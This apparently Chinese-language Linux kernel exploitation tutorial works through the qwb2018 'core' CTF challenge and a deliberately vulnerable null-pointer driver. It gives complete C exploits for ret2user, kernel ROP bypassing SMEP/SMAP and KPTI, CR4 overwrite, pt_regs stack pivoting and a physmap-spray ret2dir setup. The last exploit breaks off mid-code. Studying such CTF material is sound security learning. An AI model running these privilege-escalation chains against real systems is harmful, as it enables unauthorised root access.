static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
    if (op != 0 && op != 1) return -EINVAL;
    if (op == 1) offset += filp->f_pos;
    if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
    return filp->f_pos = offset;
}

验证

/ # insmod myko.ko 
[   17.837662] myko: loading out-of-tree module taints kernel.
[   17.840020] myko: module verification failed: signature and/or required key l
/ # [   17.887877] random: fast init done
/ # lsmod
myko 16384 0 - Live 0xffffffffc002e000 (OE)
/ # mknod /dev/myko c 230 0 #创建设备节点,c表明是字符设备,230是主设备号,0是次设备号
/ # chmod 777 /dev/myko 
/ # echo "hello,world!" > /dev/myko 
[  103.447740] [+] Written 13 bytes(s) from 13
/ # cat dev/myko 
[  111.699740] [+] Read 4096 bytes(s) from 4096
hello,world!

内核利用

NULL Pointer Dereference

上古利用方法,仅做记录。

如果内核模块中存在可以被调用的空函数指针,那么调用该空指针函数会执行 0 地址对应的代码。如果此时在内存 0 地址处实现写入 payload 就会执行payload。

首先内核驱动代码如下,其中 my_funptr 是一个空函数指针,且在调用 write 函数时会执行到。

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>

MODULE_LICENSE("Dual BSD/GPL");

void (*my_funptr)(void);

ssize_t bug1_write(struct file *file, const char *buf, size_t len, loff_t *loff) {
    printk("[+] bug1_write\n");
    my_funptr();
    return 1;
}

static struct proc_ops proc_fops = {
        .proc_write = bug1_write,
};

static int __init null_dereference_init(void) {
    printk("[+] null_dereference driver init\n");
    int proc = proc_create("bug1", 0666, 0, &proc_fops);
    if (!proc) printk("[-] Failed to create proc\n");
    return 0;
}

static void __exit null_dereference_exit(void) {
    printk("[-] null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

exp 如下,首先在 0 地址处写入提权 payload,然后调用 write 函数执行 payload,最后返回到用户空间执行 system("/bin/sh") 获取 shell 。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char payload[] = "\x48\x31\xc0\xe8\xe8\x7b\x0d\x81\xe8\x93\x76\x0d\x81\xc3";

int main() {
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "123", 7);
    system("/bin/sh");
    return 0;
}

执行 exp ,利用 gdb 调试发现执行到 payload 。
在这里插入图片描述
不过现在的内核很难直接利用这一漏洞。
在这里插入图片描述

Kernel Stack Buffer Overflow

这里以 qwb2018 core 为例进行讲解。

core_fops 结构体中定义了 core_writecore_ioctlcore_release 三个回调函数。

core_writename 写入 0x800 长度的数据。

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk("\x016core: called core_writen");
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk("\x016core: error copying data from userspacen", a2);
  return 4294967282LL;
}

core_ioctl 有三个功能,其中 0x6677889C 可以设置 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, const void *a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk("\x016core: %d\n", a3);
      off = (__int64)a3;
      break;
    case 0x6677889A:
      printk("\x016core: called core_copy\n");
      core_copy_func((__int64)a3);
      break;
  }
  return 0LL;
}

core_read 可以越界读 canary

unsigned __int64 __fastcall core_read(const void *a1)
{
  ...
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 canary; // [rsp+40h] [rbp-10h]

  canary = __readgsqword(0x28u);
  ...
  result = copy_to_user(a1, &v5[off], 64LL);
  ...
}

core_copy_func 存在栈溢出。

__int64 __fastcall core_copy_func(__int64 len)
{
  __int64 result; // rax
  char v2[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 canary; // [rsp+40h] [rbp-10h]

  canary = __readgsqword(0x28u);
  printk("\x016core: called core_writen");
  if ( len > 63 )
  {
    printk("\x016Detect Overflow");
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)len);
  }
  return result;
}

ret2user

即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;

void get_shell() { system("/bin/sh"); }


struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    tf.user_rip = (size_t) get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1000;
    tf.user_ss = user_ss;
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov rsp, tf_addr;"
        "iretq;");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();
    save_status();
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(void **) &buf[80] = get_root;
    core_write(buf, sizeof(buf));
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
    return 0;
}

kernel rop

开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。
利用 ROP ,执行 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回用户空间可以绕过上述保护。

这里我添加了 smep 和 smap 保护。

#!/bin/sh

qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  -nographic \
  -cpu qemu64,+smep,+smap

并且不开启 KPTI 保护。

/ # cat /sys/devices/system/cpu/vulnerabilities/*
Not affected
Mitigation: __user pointer sanitization
Vulnerable: Minimal generic ASM retpoline

由于找不到 mov rdi, rax; ret; 这条 gadget ,因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret; 可以清除 call 指令压入栈中的 rip ,因此相当于 ret

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;

//    rop[it++] = pop_rdi_ret;
//    rop[it++] = 0;
//    rop[it++] = prepare_kernel_cred;
//    rop[it++] = pop_rdx_ret;
//    rop[it++] = pop_rcx_ret;
//    rop[it++] = mov_rdi_rax_call_rdx;
//    rop[it++] = commit_creds;

    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。

#!/bin/sh

qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  -nographic \
  -cpu kvm64,+smep,+smap
#  -cpu qemu64,+smep,+smap
/ # cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTI
Mitigation: __user pointer sanitization
Vulnerable: Minimal generic ASM retpoline

此时需要借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。

该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;

//    rop[it++] = pop_rdi_ret;
//    rop[it++] = 0;
//    rop[it++] = prepare_kernel_cred;
//    rop[it++] = pop_rdx_ret;
//    rop[it++] = pop_rcx_ret;
//    rop[it++] = mov_rdi_rax_call_rdx;
//    rop[it++] = commit_creds;

    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

kernel rop + ret2user

这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 包含。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
在这里插入图片描述
注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() { system("/bin/sh"); }

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = 0x00000000000006f0;
    rop[it++] = mov_cr4_rdi_ret;
    rop[it++] = (size_t) get_root;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

利用 pt_regs 构造 kernel ROP

这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。
linux 系统调用的时候会把所有寄存器依次压入内核栈中形成 pt_regs 结构体,之后就继续执行内核代码。
pt_regs 结构体定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在内核栈上的结构如下:
在这里插入图片描述

由于系统调用前的寄存器的值是用户可控的,这就等于控制了内核栈低区域,也就可以在其中写入 ROP 。之后只需要控制程序执行流,利用一个 add rsp, val 的 gadget 将栈迁移到 布置在 pt_regs 结构体上的 ROP 上就可以完成提权操作。

我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func 函数的返回处下断点。

    __asm__(
            "mov r15, 0x1111111111111111;"
            "mov r14, 0x2222222222222222;"
            "mov r13, 0x3333333333333333;"
            "mov r12, 0x4444444444444444;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0050;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall"
            );

此时可以看到 pt_regs 相对于栈顶的偏移为 0xF0 ,除去这里的 ret 需要将 rsp 加上 0xE8 才能将栈迁移到 pt_regs 的起始地址。
在这里插入图片描述
另外值得注意的是 pt_regs 中对应 r11rcx 的位置分别被写入了 eflags 和返回地址,因此不受我们控制。

设置条件断点查证一下,发现在程序入口点的位置这个两个寄存器就已经被修改了。

借助 IDAPython 脚本在 vmlinux 中查找合适的 gadget 。

import idc
from idaapi import *

start_ea = 0xFFFFFFFF81000000
end_ea = 0xFFFFFFFF81C0325D
max_len = 10


class Gadget():
    def __init__(self, addr, asms, val):
        self.addr = addr
        self.asms = asms
        self.val = val


if __name__ == '__main__':
    fp = open("rop.txt", "w")
    gadgets = []
    i = start_ea
    while i < end_ea:
        asm = idc.generate_disasm_line(i, 0).split(";")[0]
        if asm.startswith("add     rsp, "):
            asms = [asm.replace("     ", " ")]
            val = idc.get_operand_value(i, 1)
            j = i + get_item_size(i)
            while j < end_ea:
                asm = idc.generate_disasm_line(j, 0).split(";")[0]
                asms.append(asm.replace("     ", " "))
                if len(asms) > max_len: break
                if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break
                if print_insn_mnem(j) == "push": val -= 8
                if print_insn_mnem(j) == "pop": val += 8
                if print_insn_mnem(j) == "retn":
                    gadgets.append(Gadget(i, asms, val))
                    gadget = Gadget(i, asms, val)
                    print("val: " + hex(gadget.val))
                    print(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";")
                    j += get_item_size(j)
                    break
                j += get_item_size(j)
            i = j
        else:
            i += get_item_size(i)
    gadgets = sorted(gadgets, key=lambda gadget: gadget.val)
    print("_________________________________________")
    print(len(gadgets))
    for gadget in gadgets:
        fp.write("val: " + hex(gadget.val) + "\n")
        fp.write(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";\n")
    fp.close()

随便选择一个可以把 rsp 加 0xE8 的 gadget 。
在这里插入图片描述
由于 swapgs_restore_regs_and_return_to_usermode 函数前面的操作是依次弹出 pt_regs 结构体中的元素,由于前面 4 个寄存器已经用来写 ROP 了,因此要从 swapgs_restore_regs_and_return_to_usermode + 8 开始。
在这里插入图片描述
由于这里用的是正常的 trap_frame 因此不需要 save_status 和位置 trap_frame

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset + 8;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));
    __asm__(
            "mov r15, pop_rdi_ret;"
            "mov r14, init_cred;"
            "mov r13, commit_creds;"
            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall"
            );

    system("/bin/sh");

    return 0;
}

内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y (默认开启)

ret2dir

如果 ptregs 所在的内存被修改了导致最多只能控制 16 字节的内存我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处:http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf 。
linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。

ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到
在这里插入图片描述
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用
在这里插入图片描述
比较朴素的一种使用 ret2dir 进行攻击的手法便是:

  • 利用 mmap 在用户空间大量喷射内存
  • 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区
  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存
    此时我们就获得了一个映射到用户空间的内核空间地址,我们通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段

需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray 。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

/*
linux kernal 4.15.8
/Documentation/x86/x86_64/mm.txt
ffff880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory
*/
size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
